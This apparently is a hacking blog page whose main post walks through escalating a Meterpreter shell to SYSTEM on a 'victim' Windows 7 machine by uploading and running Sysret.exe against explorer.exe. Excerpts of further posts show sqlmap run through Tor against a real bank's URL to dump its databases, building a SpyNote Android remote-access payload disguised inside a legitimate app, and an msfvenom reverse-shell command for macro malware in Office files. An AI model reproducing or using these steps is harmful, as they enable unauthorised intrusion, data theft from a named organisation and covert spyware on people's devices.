Post Exploitation: Gaining System Level Privilege of compromised Win-7 System

Step 1:CYBERATOR

Hack Win-7 and get the meterpreter shell. (As I demonstrated in the previous Post)

My current Privileges are:

Step 2:

Download the following Resources:

Sysret.exe

MinHook.x64.dll

Now Upload these files to the Victim's Computer using the following Command:

upload <path where Sysret.exe is kept> .

upload <path of MinHook.x64.dll> .

Step 3:

Inside meterpreter shell type "ls" to list all the ongoing process.

Note down the PID of explorer.exe. (1404 my this case)

Step 4:

Type "shell" to get into the command prompt of the victim's computer.

Then type the following command inside the command shell:

sysret.exe -pid 1404 <type the pid of explorer.exe as shown in your system...in my case its 1404>

Press "ctrl+c" to terminate channel.

Step 5:

Now Migrate to the infected process to get the System level privileges ie. to the pid of explorer.exe

Now type the following commands:

getprivs

getuid

You have the System level privileges now :)

Comments

Using SQLMAP with TOR OS: Windows 10 Compiler : Python 3.x Script : SQLMAP Proxy: TOR STEP 1: Download and install TOR https://www.torproject.org/download/ STEP 2: Install TOR and Start TOR services After installing Tor, a new folder of Tor will be created (Desktop in my case) Navigate to the following location and start tor.exe Desktop\Tor Browser\Browser\TorBrowser\Tor STEP 3: Follow my previous post on SQLMAP to find a target Navigate to the SQLMAP folder in power shell. Execute the following commands- python .\sqlmap.py --tor --tor-type=SOCKS5 -u "https://www.fcibank.com.pk/index.php?route=common/page&pageid=%7B021A9F2C-951C-B9F7-D1B6-805BA07752DB%7D" --dbs STEP 4: Follow the same steps as in my previous post on SQLMAP to find Database names, Table names and dump the Tables. Just add the following option in it: .\sqlmap.py --tor --tor-type=SOCKS5 SQLMAP OPTIONS # Enumerate databases sqlmap --dbms=mysql -u " $URL " --dbs # Enumerate tables sqlmap --dbms=...

Android Hacking

Hacking Android using SPYNOTE Prerequisites: Android Device Windows 10 SpyNote Java STEP 1: Download and Execute SpyNote (spynote.us is taken down by Department of Homeland Security) DOWNLOAD STEP 2: Provide the Port number and Java path if asked or leave everything as default. STEP 3: Navigate to Tools menu and select Payload. Fill in the reverse IP and other app details. Here in this step you can configure the properties of the Payload If you plan to merge this payload with any legit application then browse that application here. STEP 4: Now click on build, it will trigger apktool and the apk will be created . STEP 5: Now copy the apk file to the android device using any medium like file sharing websites (mega.nz) STEP 6: Install the apk in the android device. You will get a session on the SPYNOTE interface. Right click on the session and explore multiple options. As you can see there are multiple options available now, in short the mobile device is in your co...

MACRO Based Malware (updated)

How macro malware works Macro malware hides in Microsoft Office files and are delivered as email attachments or inside ZIP files. These files use names that are intended to entice or scare people into opening them. They often look like invoices, receipts, legal documents, and more. Macro malware was fairly common several years ago because macros ran automatically whenever a document was opened. However, in recent versions of Microsoft Office, macros are disabled by default. This means malware authors need to convince users to turn on macros so that their malware can run. They do this by showing fake warnings when a malicious document is opened. Prerequisite: Metasploit Module Windows 10 Microsoft Office STEP 1: Generating payload (VBS) - Open terminal in kali and execute the following command: - msfvenom -p windows/meterpreter/reverse_https lhost=192.168.43.138 lport=1234 -f vba STEP 2: Create a new excel file and open Macros Setting. Copy and paste the code generated(msfveno...

Krishna Sharma

Search This Blog